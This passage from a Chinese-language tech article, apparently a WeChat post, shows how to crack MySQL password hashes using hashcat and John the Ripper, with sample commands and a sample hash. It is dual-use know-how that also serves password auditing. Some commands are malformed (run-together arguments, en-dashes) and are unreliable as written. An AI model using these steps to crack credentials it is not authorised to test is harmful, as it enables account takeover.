hashcat64.exe -m 300myql.hashpass.dict //破解MySQL4.1/MySQL5型別


4、John the Ripper password cracker


John the Ripper 下載地址:http://www.openwall.com/john/h/john179w2.zip,John the Ripper 除了能夠破解 linux 外,還能破解多種格式的密碼

Echo *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B>hashes.txt

John –format =mysql-sha1 hashes.txt

john –list=formats | grep mysql //檢視支援mysql密碼破解的演演算法



編號654,輸入編號直達本文

●輸入m獲取文章目錄

推薦↓↓↓

資料庫開發

更多推薦18個技術類微信公眾號

涵蓋:程式人生、演演算法與資料結構、駭客技術與網路安全、大資料技術、前端開發、Java、Python、Web開發、安卓開發、iOS開發、C/C++、.NET、Linux、資料庫、運維等。

贊(0)

分享創造快樂